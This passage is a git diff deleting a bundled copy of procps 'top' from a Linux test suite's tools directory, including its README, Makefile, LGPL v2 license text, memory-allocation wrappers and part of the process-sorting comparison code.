diff --git a/tools/top-LTP/00_README.1st b/tools/top-LTP/00_README.1st
deleted file mode 100644
index 6b238df..0000000
--- a/tools/top-LTP/00_README.1st
+++ /dev/null
@@ -1,2 +0,0 @@
-You must make and install this version of 'top' and libproc if you intend on using the "-T" option
-in ltpstress.sh.
diff --git a/tools/top-LTP/Makefile b/tools/top-LTP/Makefile
deleted file mode 100644
index ab2487d..0000000
--- a/tools/top-LTP/Makefile
+++ /dev/null
@@ -1,53 +0,0 @@
-VERSION      := 3
-SUBVERSION   := 1
-MINORVERSION := 5
-TARVERSION   := 3.1.5
-LIBVERSION   := 3.1.5
-
-ldconfig := ldconfig
-ln_f     := ln -f
-ln_sf    := ln -sf
-
-
-CURSES := -lncurses
-
-LDFLAGS += -Wl,-warn-common
-
-CFLAGS += -I/usr/include -w -D_GNU_SOURCE -O2 -g3 -fno-common -ffast-math -I proc \
-  -W -Wall -Wshadow -Wcast-align -Wredundant-decls \
-  -Wbad-function-cast -Wcast-qual -Wwrite-strings -Waggregate-return \
-#  -Wpadded -Wunreachable-code -Wdisabled-optimization \
-  -Wstrict-prototypes -Wmissing-prototypes # -Wconversion
-
-
-all: do_all
-
--include */module.mk
-
-do_all: top
-
-clean:
-	rm -f top top.o proc/libproc.* proc/*.o
-
-###### install
-
-ifeq ($(LIB_DIR),)
-LIB_DIR=/lib
-endif
-
-install:
-	@set -e; ln -f top ../../testcases/bin
-	@set -e; cp -f proc/libproc.so.$(LIBVERSION) $(LIB_DIR)
-	@set -e; ln -fs $(LIB_DIR)/libproc.so.$(LIBVERSION) $(LIB_DIR)/libproc.so
-
-############ prog.c --> prog.o
-
-%.o : %.c
-	@set -e;$(CC) $(CFLAGS) -c -o $@ $^
-
-############ prog.o --> prog
-
-top:   % : %.o $(LIBPROC)
-	@set -e;$(CC) $(LDFLAGS) -o $@ $^ $(CURSES)
-
-
diff --git a/tools/top-LTP/proc/COPYING b/tools/top-LTP/proc/COPYING
deleted file mode 100644
index 066a80a..0000000
--- a/tools/top-LTP/proc/COPYING
+++ /dev/null
@@ -1,481 +0,0 @@
-		  GNU LIBRARY GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1991 Free Software Foundation, Inc.
-    		    59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-[This is the first released version of the library GPL.  It is
- numbered 2 because it goes with version 2 of the ordinary GPL.]
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-Licenses are intended to guarantee your freedom to share and change
-free software--to make sure the software is free for all its users.
-
-  This license, the Library General Public License, applies to some
-specially designated Free Software Foundation software, and to any
-other libraries whose authors decide to use it.  You can use it for
-your libraries, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if
-you distribute copies of the library, or if you modify it.
-
-  For example, if you distribute copies of the library, whether gratis
-or for a fee, you must give the recipients all the rights that we gave
-you.  You must make sure that they, too, receive or can get the source
-code.  If you link a program with the library, you must provide
-complete object files to the recipients so that they can relink them
-with the library, after making changes to the library and recompiling
-it.  And you must show them these terms so they know their rights.
-
-  Our method of protecting your rights has two steps: (1) copyright
-the library, and (2) offer you this license which gives you legal
-permission to copy, distribute and/or modify the library.
-
-  Also, for each distributor's protection, we want to make certain
-that everyone understands that there is no warranty for this free
-library.  If the library is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original
-version, so that any problems introduced by others will not reflect on
-the original authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that companies distributing free
-software will individually obtain patent licenses, thus in effect
-transforming the program into proprietary software.  To prevent this,
-we have made it clear that any patent must be licensed for everyone's
-free use or not licensed at all.
-
-  Most GNU software, including some libraries, is covered by the ordinary
-GNU General Public License, which was designed for utility programs.  This
-license, the GNU Library General Public License, applies to certain
-designated libraries.  This license is quite different from the ordinary
-one; be sure to read it in full, and don't assume that anything in it is
-the same as in the ordinary license.
-
-  The reason we have a separate public license for some libraries is that
-they blur the distinction we usually make between modifying or adding to a
-program and simply using it.  Linking a program with a library, without
-changing the library, is in some sense simply using the library, and is
-analogous to running a utility program or application program.  However, in
-a textual and legal sense, the linked executable is a combined work, a
-derivative of the original library, and the ordinary General Public License
-treats it as such.
-
-  Because of this blurred distinction, using the ordinary General
-Public License for libraries did not effectively promote software
-sharing, because most developers did not use the libraries.  We
-concluded that weaker conditions might promote sharing better.
-
-  However, unrestricted linking of non-free programs would deprive the
-users of those programs of all benefit from the free status of the
-libraries themselves.  This Library General Public License is intended to
-permit developers of non-free programs to use free libraries, while
-preserving your freedom as a user of such programs to change the free
-libraries that are incorporated in them.  (We have not seen how to achieve
-this as regards changes in header files, but we have achieved it as regards
-changes in the actual functions of the Library.)  The hope is that this
-will lead to faster development of free libraries.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.  Pay close attention to the difference between a
-"work based on the library" and a "work that uses the library".  The
-former contains code derived from the library, while the latter only
-works together with the library.
-
-  Note that it is possible for a library to be covered by the ordinary
-General Public License rather than by this special one.
-
-		  GNU LIBRARY GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License Agreement applies to any software library which
-contains a notice placed by the copyright holder or other authorized
-party saying it may be distributed under the terms of this Library
-General Public License (also called "this License").  Each licensee is
-addressed as "you".
-
-  A "library" means a collection of software functions and/or data
-prepared so as to be conveniently linked with application programs
-(which use some of those functions and data) to form executables.
-
-  The "Library", below, refers to any such software library or work
-which has been distributed under these terms.  A "work based on the
-Library" means either the Library or any derivative work under
-copyright law: that is to say, a work containing the Library or a
-portion of it, either verbatim or with modifications and/or translated
-straightforwardly into another language.  (Hereinafter, translation is
-included without limitation in the term "modification".)
-
-  "Source code" for a work means the preferred form of the work for
-making modifications to it.  For a library, complete source code means
-all the source code for all modules it contains, plus any associated
-interface definition files, plus the scripts used to control compilation
-and installation of the library.
-
-  Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running a program using the Library is not restricted, and output from
-such a program is covered only if its contents constitute a work based
-on the Library (independent of the use of the Library in a tool for
-writing it).  Whether that is true depends on what the Library does
-and what the program that uses the Library does.
-
-  1. You may copy and distribute verbatim copies of the Library's
-complete source code as you receive it, in any medium, provided that
-you conspicuously and appropriately publish on each copy an
-appropriate copyright notice and disclaimer of warranty; keep intact
-all the notices that refer to this License and to the absence of any
-warranty; and distribute a copy of this License along with the
-Library.
-
-  You may charge a fee for the physical act of transferring a copy,
-and you may at your option offer warranty protection in exchange for a
-fee.
-
-  2. You may modify your copy or copies of the Library or any portion
-of it, thus forming a work based on the Library, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) The modified work must itself be a software library.
-
-    b) You must cause the files modified to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    c) You must cause the whole of the work to be licensed at no
-    charge to all third parties under the terms of this License.
-
-    d) If a facility in the modified Library refers to a function or a
-    table of data to be supplied by an application program that uses
-    the facility, other than as an argument passed when the facility
-    is invoked, then you must make a good faith effort to ensure that,
-    in the event an application does not supply such function or
-    table, the facility still operates, and performs whatever part of
-    its purpose remains meaningful.
-
-    (For example, a function in a library to compute square roots has
-    a purpose that is entirely well-defined independent of the
-    application.  Therefore, Subsection 2d requires that any
-    application-supplied function or table used by this function must
-    be optional: if the application does not supply it, the square
-    root function must still compute square roots.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Library,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Library, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote
-it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Library.
-
-In addition, mere aggregation of another work not based on the Library
-with the Library (or with a work based on the Library) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may opt to apply the terms of the ordinary GNU General Public
-License instead of this License to a given copy of the Library.  To do
-this, you must alter all the notices that refer to this License, so
-that they refer to the ordinary GNU General Public License, version 2,
-instead of to this License.  (If a newer version than version 2 of the
-ordinary GNU General Public License has appeared, then you can specify
-that version instead if you wish.)  Do not make any other change in
-these notices.
-
-  Once this change is made in a given copy, it is irreversible for
-that copy, so the ordinary GNU General Public License applies to all
-subsequent copies and derivative works made from that copy.
-
-  This option is useful when you wish to copy part of the code of
-the Library into a program that is not a library.
-
-  4. You may copy and distribute the Library (or a portion or
-derivative of it, under Section 2) in object code or executable form
-under the terms of Sections 1 and 2 above provided that you accompany
-it with the complete corresponding machine-readable source code, which
-must be distributed under the terms of Sections 1 and 2 above on a
-medium customarily used for software interchange.
-
-  If distribution of object code is made by offering access to copy
-from a designated place, then offering equivalent access to copy the
-source code from the same place satisfies the requirement to
-distribute the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  5. A program that contains no derivative of any portion of the
-Library, but is designed to work with the Library by being compiled or
-linked with it, is called a "work that uses the Library".  Such a
-work, in isolation, is not a derivative work of the Library, and
-therefore falls outside the scope of this License.
-
-  However, linking a "work that uses the Library" with the Library
-creates an executable that is a derivative of the Library (because it
-contains portions of the Library), rather than a "work that uses the
-library".  The executable is therefore covered by this License.
-Section 6 states terms for distribution of such executables.
-
-  When a "work that uses the Library" uses material from a header file
-that is part of the Library, the object code for the work may be a
-derivative work of the Library even though the source code is not.
-Whether this is true is especially significant if the work can be
-linked without the Library, or if the work is itself a library.  The
-threshold for this to be true is not precisely defined by law.
-
-  If such an object file uses only numerical parameters, data
-structure layouts and accessors, and small macros and small inline
-functions (ten lines or less in length), then the use of the object
-file is unrestricted, regardless of whether it is legally a derivative
-work.  (Executables containing this object code plus portions of the
-Library will still fall under Section 6.)
-
-  Otherwise, if the work is a derivative of the Library, you may
-distribute the object code for the work under the terms of Section 6.
-Any executables containing that work also fall under Section 6,
-whether or not they are linked directly with the Library itself.
-
-  6. As an exception to the Sections above, you may also compile or
-link a "work that uses the Library" with the Library to produce a
-work containing portions of the Library, and distribute that work
-under terms of your choice, provided that the terms permit
-modification of the work for the customer's own use and reverse
-engineering for debugging such modifications.
-
-  You must give prominent notice with each copy of the work that the
-Library is used in it and that the Library and its use are covered by
-this License.  You must supply a copy of this License.  If the work
-during execution displays copyright notices, you must include the
-copyright notice for the Library among them, as well as a reference
-directing the user to the copy of this License.  Also, you must do one
-of these things:
-
-    a) Accompany the work with the complete corresponding
-    machine-readable source code for the Library including whatever
-    changes were used in the work (which must be distributed under
-    Sections 1 and 2 above); and, if the work is an executable linked
-    with the Library, with the complete machine-readable "work that
-    uses the Library", as object code and/or source code, so that the
-    user can modify the Library and then relink to produce a modified
-    executable containing the modified Library.  (It is understood
-    that the user who changes the contents of definitions files in the
-    Library will not necessarily be able to recompile the application
-    to use the modified definitions.)
-
-    b) Accompany the work with a written offer, valid for at
-    least three years, to give the same user the materials
-    specified in Subsection 6a, above, for a charge no more
-    than the cost of performing this distribution.
-
-    c) If distribution of the work is made by offering access to copy
-    from a designated place, offer equivalent access to copy the above
-    specified materials from the same place.
-
-    d) Verify that the user has already received a copy of these
-    materials or that you have already sent this user a copy.
-
-  For an executable, the required form of the "work that uses the
-Library" must include any data and utility programs needed for
-reproducing the executable from it.  However, as a special exception,
-the source code distributed need not include anything that is normally
-distributed (in either source or binary form) with the major
-components (compiler, kernel, and so on) of the operating system on
-which the executable runs, unless that component itself accompanies
-the executable.
-
-  It may happen that this requirement contradicts the license
-restrictions of other proprietary libraries that do not normally
-accompany the operating system.  Such a contradiction means you cannot
-use both them and the Library together in an executable that you
-distribute.
-
-  7. You may place library facilities that are a work based on the
-Library side-by-side in a single library together with other library
-facilities not covered by this License, and distribute such a combined
-library, provided that the separate distribution of the work based on
-the Library and of the other library facilities is otherwise
-permitted, and provided that you do these two things:
-
-    a) Accompany the combined library with a copy of the same work
-    based on the Library, uncombined with any other library
-    facilities.  This must be distributed under the terms of the
-    Sections above.
-
-    b) Give prominent notice with the combined library of the fact
-    that part of it is a work based on the Library, and explaining
-    where to find the accompanying uncombined form of the same work.
-
-  8. You may not copy, modify, sublicense, link with, or distribute
-the Library except as expressly provided under this License.  Any
-attempt otherwise to copy, modify, sublicense, link with, or
-distribute the Library is void, and will automatically terminate your
-rights under this License.  However, parties who have received copies,
-or rights, from you under this License will not have their licenses
-terminated so long as such parties remain in full compliance.
-
-  9. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Library or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Library (or any work based on the
-Library), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Library or works based on it.
-
-  10. Each time you redistribute the Library (or any work based on the
-Library), the recipient automatically receives a license from the
-original licensor to copy, distribute, link with or modify the Library
-subject to these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  11. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Library at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Library by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Library.
-
-If any portion of this section is held invalid or unenforceable under any
-particular circumstance, the balance of the section is intended to apply,
-and the section as a whole is intended to apply in other circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  12. If the distribution and/or use of the Library is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Library under this License may add
-an explicit geographical distribution limitation excluding those countries,
-so that distribution is permitted only in or among countries not thus
-excluded.  In such case, this License incorporates the limitation as if
-written in the body of this License.
-
-  13. The Free Software Foundation may publish revised and/or new
-versions of the Library General Public License from time to time.
-Such new versions will be similar in spirit to the present version,
-but may differ in detail to address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Library
-specifies a version number of this License which applies to it and
-"any later version", you have the option of following the terms and
-conditions either of that version or of any later version published by
-the Free Software Foundation.  If the Library does not specify a
-license version number, you may choose any version ever published by
-the Free Software Foundation.
-
-  14. If you wish to incorporate parts of the Library into other free
-programs whose distribution conditions are incompatible with these,
-write to the author to ask for permission.  For software which is
-copyrighted by the Free Software Foundation, write to the Free
-Software Foundation; we sometimes make exceptions for this.  Our
-decision will be guided by the two goals of preserving the free status
-of all derivatives of our free software and of promoting the sharing
-and reuse of software generally.
-
-			    NO WARRANTY
-
-  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
-WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
-EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
-OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
-KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
-PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
-LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
-THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
-
-  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
-WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
-AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
-FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
-CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
-LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
-RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
-FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
-SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
-DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-           How to Apply These Terms to Your New Libraries
-
-  If you develop a new library, and you want it to be of the greatest
-possible use to the public, we recommend making it free software that
-everyone can redistribute and change.  You can do so by permitting
-redistribution under these terms (or, alternatively, under the terms of the
-ordinary General Public License).
-
-  To apply these terms, attach the following notices to the library.  It is
-safest to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least the
-"copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the library's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Library General Public
-    License as published by the Free Software Foundation; either
-    version 2 of the License, or (at your option) any later version.
-
-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Library General Public License for more details.
-
-    You should have received a copy of the GNU Library General Public
-    License along with this library; if not, write to the Free
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-Also add information on how to contact you by electronic and paper mail.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the library, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the
-  library `Frob' (a library for tweaking knobs) written by James Random Hacker.
-
-  <signature of Ty Coon>, 1 April 1990
-  Ty Coon, President of Vice
-
-That's all there is to it!
diff --git a/tools/top-LTP/proc/alloc.c b/tools/top-LTP/proc/alloc.c
deleted file mode 100644
index a06fd71..0000000
--- a/tools/top-LTP/proc/alloc.c
+++ /dev/null
@@ -1,51 +0,0 @@
-// Copyright (C) 1992-1998 by Michael K. Johnson, johnsonm@redhat.com
-// Copyright 2002 Albert Cahalan
-//
-// This file is placed under the conditions of the GNU Library
-// General Public License, version 2, or any later version.
-// See file COPYING for information on distribution conditions.
-
-#include <stdlib.h>
-#include <stdio.h>
-#include "alloc.h"
-
-void *xcalloc(void *pointer, int size)
-{
-	void *ret;
-	free(pointer);
-	if (!(ret = calloc(1, size))) {
-		fprintf(stderr, "xcalloc: allocation error, size = %d\n", size);
-		exit(1);
-	}
-	return ret;
-}
-
-void *xmalloc(unsigned int size)
-{
-	void *p;
-
-	if (size == 0)
-		++size;
-	p = malloc(size);
-	if (!p) {
-		fprintf(stderr, "xmalloc: malloc(%d) failed", size);
-		perror(NULL);
-		exit(1);
-	}
-	return (p);
-}
-
-void *xrealloc(void *oldp, unsigned int size)
-{
-	void *p;
-
-	if (size == 0)
-		++size;
-	p = realloc(oldp, size);
-	if (!p) {
-		fprintf(stderr, "xrealloc: realloc(%d) failed", size);
-		perror(NULL);
-		exit(1);
-	}
-	return (p);
-}
diff --git a/tools/top-LTP/proc/alloc.h b/tools/top-LTP/proc/alloc.h
deleted file mode 100644
index 8c5016d..0000000
--- a/tools/top-LTP/proc/alloc.h
+++ /dev/null
@@ -1,14 +0,0 @@
-#ifndef PROCPS_PROC_ALLOC_H
-#define PROCPS_PROC_ALLOC_H
-
-#include "procps.h"
-
-EXTERN_C_BEGIN
-
-extern void *xrealloc(void *oldp, unsigned int size) MALLOC;
-extern void *xmalloc(unsigned int size) MALLOC;
-extern void *xcalloc(void *pointer, int size) MALLOC;
-
-EXTERN_C_END
-
-#endif
diff --git a/tools/top-LTP/proc/compare.c b/tools/top-LTP/proc/compare.c
deleted file mode 100644
index b2a01d1..0000000
--- a/tools/top-LTP/proc/compare.c
+++ /dev/null
@@ -1,303 +0,0 @@
-/*
- *
- * Copyright 1994 Charles Blake and Michael K. Johnson
- * This file is a part of procps, which is distributable
- * under the conditions of the GNU Library General Public License.
- * See the file COPYING for details.
- *
- * Copyright 2002 Albert Cahalan
- */
-
-#include <string.h>		/* for strcmp */
-#include <stdio.h>		/* for parse error output */
-
-#include "readproc.h"		/* for proc_t */
-
-#include "compare.h"		/* for this code */
-
-/*
-  This module was written by Charles Blake for procps.
-
-mult_lvl_cmp:
-    slick general purpose multi-level compare function I invented.
-sort_depth:
-    the number of levels of functions *to use*.  This means many more levels
-    can be defined than mult_lvl_cmp tres out.  If this is 1 then mult_lvl_cmp
-    is just a trivial wrapper around (*sort_function[0]).
-sort_direction:
-    multiplicative factor for the output of cmp_whatever.
-    1 ==> default order, -1 ==> reverse order, 0 ==> forced equality
-    The 0 bit is the neat part.  Since a value of zero is the code for equality
-    multiplying the output of cmp_foo(a,b) forces a==b to be true.  This is a
-    convenient way to turn sorting off in middle levels of a multi-level sort.
-    If time is a problem, reforming the whole sort_function array to not include
-    these unsorted middle levels will be faster since then cmp_foo won't even
-    be called.  It might simplify some code depending upon how you organize it.
-sort_function[]:
-    array of function pointers that points to our family of comparison functions
-    (I have named them cmp_* but mult_lvl_cmp doesn't care what they're named).
-    This may be declared and initialized like so:
-       int (*sort_function[])(void* a, void* b)={&cmp_foo, &cmp_bar, &cmp_hiho};
-    You could also use my command line '-O' parser below.
-
-Note that we only descend levels until the order is determined.  If we descend
-all levels, that means that the items are equal at all levels, so we return 0.
-Otherwise we return whatever the level's cmp_foo function would have returned.
-This allows whatever default behavior you want for cmp_foo.  sort_direction[]
-reverses this default behavior, but mult_lvl_cmp doesn't decide that ascending
-or descending is the default.  That is the job of your cmp_foo's.
-*/
-
-/* the only reason these are global is because qsort(3) likes it that way.
-   It's also a little more efficient if mult_lvl_cmp() is called many times.
-*/
-
-static int sort_depth = 0;
-static int sort_direction[10];	/* storage for 10 levels, but 4 would be plenty! */
-static int (*sort_function[10]) (void *a, void *b);
-
-int mult_lvl_cmp(void *a, void *b)
-{
-	int i, cmp_val;
-	for (i = 0; i < sort_depth; i++) {
-		cmp_val = sort_direction[i] * (*sort_function[i]) (a, b);
-		if (cmp_val != 0)
-			return cmp_val;
-	}
-	return 0;
-}
-
-/* qsort(3) compliant comparison functions for all members of the ps_proc
-   structure (in the same order in which they appear in the proc_t declaration)
-   return is {-1,0,1} as {a<b, a==b, a>b}
-   default ordering is ascending for all members. (flip 1,-1 to reverse)
-*/
-/* pre-processor macros to cut down on source size (and typing!)
-   Note the use of the string concatenation operator ##
-*/
-#define CMP_STR(NAME) \
-static int cmp_ ## NAME(proc_t** P, proc_t** Q) { \
-    return strcmp((*P)->NAME, (*Q)->NAME); \
-}
-
-#define CMP_INT(NAME) \
-static int cmp_ ## NAME (proc_t** P, proc_t** Q) { \
-    if ((*P)->NAME < (*Q)->NAME) return -1; \
-    if ((*P)->NAME > (*Q)->NAME) return  1; \
-    return 0; \
-}
-
-/* Define the (46!) cmp_ functions with the above macros for every element
-   of proc_t.  If the binary gets too big, we could nuke inessentials.
-*/
-
-/* CMP_STR(cmdline) */
-/* CMP_STR(ruser) */
-CMP_STR(euser)
-    CMP_STR(cmd)
-/* CMP_INT(state) */
-/* CMP_STR(ttyc) */
-    CMP_INT(euid)
-    CMP_INT(pid)
-    CMP_INT(ppid)
-    CMP_INT(pgrp)
-    CMP_INT(session)
-    CMP_INT(tty)
-    CMP_INT(tpgid)
-    CMP_INT(utime)
-    CMP_INT(stime)
-    CMP_INT(cutime)
-    CMP_INT(cstime)
-/* CMP_INT(priority) */
-    CMP_INT(nice)
-    CMP_INT(start_time)
-/* CMP_INT(signal) */
-/* CMP_INT(blocked) */
-/* CMP_INT(sigignore) */
-/* CMP_INT(sigcatch) */
-    CMP_INT(flags)
-    CMP_INT(min_flt)
-    CMP_INT(cmin_flt)
-    CMP_INT(maj_flt)
-    CMP_INT(cmaj_flt)
-/* CMP_INT(timeout) */
-    CMP_INT(vsize)
-    CMP_INT(rss)
-/* CMP_INT(rss_rlim) */
-/* CMP_INT(start_code) */
-/* CMP_INT(end_code) */
-/* CMP_INT(start_stack) */
-/* CMP_INT(kstk_esp) */
-/* CMP_INT(kstk_eip) */
-/* CMP_INT(wchan) */
-    CMP_INT(pcpu)
-    CMP_INT(size)
-    CMP_INT(resident)
-    CMP_INT(share)
-/* CMP_INT(trs) */
-/* CMP_INT(lrs) */
-/* CMP_INT(drs) */
-/* CMP_INT(dt) */
-/* define user interface to sort keys.  Fairly self-explanatory. */
-static struct cmp_fun_struct {
-	char letter;		/* single option-letter for key */
-	char name[15];		/* long option name for key */
-	int (*fun) (proc_t **, proc_t **);	/* pointer to cmp_key */
-} cmp[] =
-{
-/*  { '?', "cmdline",       &cmp_cmdline       }, */
-	{
-	'u', "user", &cmp_euser},
-/*  { '?', "ruser",         &cmp_ruser         }, */
-	{
-	'c', "cmd", &cmp_cmd},
-/*  { '?', "state",         &cmp_state         }, */
-/*  { '?', "ttyc",          &cmp_ttyc          }, */
-	{
-	'U', "uid", &cmp_euid}, {
-	'p', "pid", &cmp_pid}, {
-	'P', "ppid", &cmp_ppid}, {
-	'g', "pgrp", &cmp_pgrp}, {
-	'o', "session", &cmp_session}, {
-	't', "tty", &cmp_tty}, {
-	'G', "tpgid", &cmp_tpgid}, {
-	'k', "utime", &cmp_utime}, {
-	'K', "stime", &cmp_stime}, {
-	'j', "cutime", &cmp_cutime}, {
-	'J', "cstime", &cmp_cstime},
-/*  { '?', "counter",       &cmp_counter       }, */
-	{
-	'y', "priority", &cmp_nice}, {
-	'T', "start_time", &cmp_start_time},
-/*  { '?', "signal",        &cmp_signal        }, */
-/*  { '?', "blocked",       &cmp_blocked       }, */
-/*  { '?', "sigignore",     &cmp_sigignore     }, */
-/*  { '?', "sigcatch",      &cmp_sigcatch      }, */
-	{
-	'f', "flags", &cmp_flags}, {
-	'm', "min_flt", &cmp_min_flt}, {
-	'n', "cmin_flt", &cmp_cmin_flt}, {
-	'M', "maj_flt", &cmp_maj_flt}, {
-	'N', "cmaj_flt", &cmp_cmaj_flt},
-/*  { 'C', "timeout",       &cmp_timeout       }, */
-	{
-	'v', "vsize", &cmp_vsize}, {
-	'r', "rss", &cmp_rss},
-/*  { '?', "rss_rlim",      &cmp_rss_rlim      }, */
-/*  { '?', "start_code",    &cmp_start_code    }, */
-/*  { '?', "end_code",      &cmp_end_code      }, */
-/*  { '?', "start_stack",   &cmp_start_stack   }, */
-/*  { '?', "kstk_esp",      &cmp_kstk_esp      }, */
-/*  { '?', "kstk_eip",      &cmp_kstk_eip      }, */
-/*  { '?', "wchan",         &cmp_wchan         }, */
-	{
-	'C', "pcpu", &cmp_pcpu}, {
-	's', "size", &cmp_size}, {
-	'R', "resident", &cmp_resident}, {
-	'S', "share", &cmp_share},
-/*  { '?', "trs",           &cmp_trs           }, */
-/*  { '?', "lrs",           &cmp_lrs           }, */
-/*  { '?', "drs",           &cmp_drs           }, */
-/*  { '?', "dt",            &cmp_dt            }, */
-	{
-	'\0', "terminator", NULL}
-};
-
-/* command line option parsing.  Assign sort_{depth,direction[],function[]}
-   based upon a string of the form:
-        [+-]a[+-]b[+-]c...
-   with a,b,c,... being letter flags corresponding to a particular sort
-   key and the optional '-' specifying a reverse sort on that key.  + doesn't
-   mean anything, but it keeps things looking balanced...
-*/
-const char *parse_sort_opt(const char *opt)
-{
-	int i, next_dir = 1;
-	for (; *opt; ++opt) {
-		if (*opt == '-' || *opt == '+') {
-			if (*opt == '-')
-				next_dir = -1;
-			opt++;
-			continue;
-		}
-		for (i = 0; cmp[i].letter; i++)
-			if (*opt == cmp[i].letter)
-				break;
-		if (!cmp[i].letter) {	/* failed, clear and return */
-			sort_depth = 0;
-			for (i = 0; i < 10; i++) {
-				sort_direction[i] = 0;
-				sort_function[i] = (cmp_t) NULL;
-			}
-			return "Unknown sort key.";
-		} else {
-#ifdef DEBUG
-			fprintf(stderr,
-				"sort level %d: key %s, direction % d\n",
-				sort_depth, cmp[i].name, next_dir);
-#endif
-			sort_function[sort_depth] = (cmp_t) cmp[i].fun;
-			sort_direction[sort_depth++] = next_dir;
-			next_dir = 1;
-		}
-	}
-	return NULL;
-}
-
-const char *parse_long_sort(const char *opt)
-{
-	char *comma;
-	int i, more_keys, next_dir = 1;
-	do {
-		if (*opt == '-' || *opt == '+') {
-			if (*opt == '-')
-				next_dir = -1;
-			more_keys = 1;
-			opt++;
-			continue;
-		}
-		more_keys = ((comma = index(opt, ',')) != NULL);
-		/* keys are ',' delimited */
-		if (more_keys)
-			*comma = '\0';	/* terminate for strcmp() */
-		for (i = 0; cmp[i].letter; ++i)
-			if (strcmp(opt, cmp[i].name) == 0)
-				break;
-		if (!cmp[i].letter) {	/* failed, clear and return */
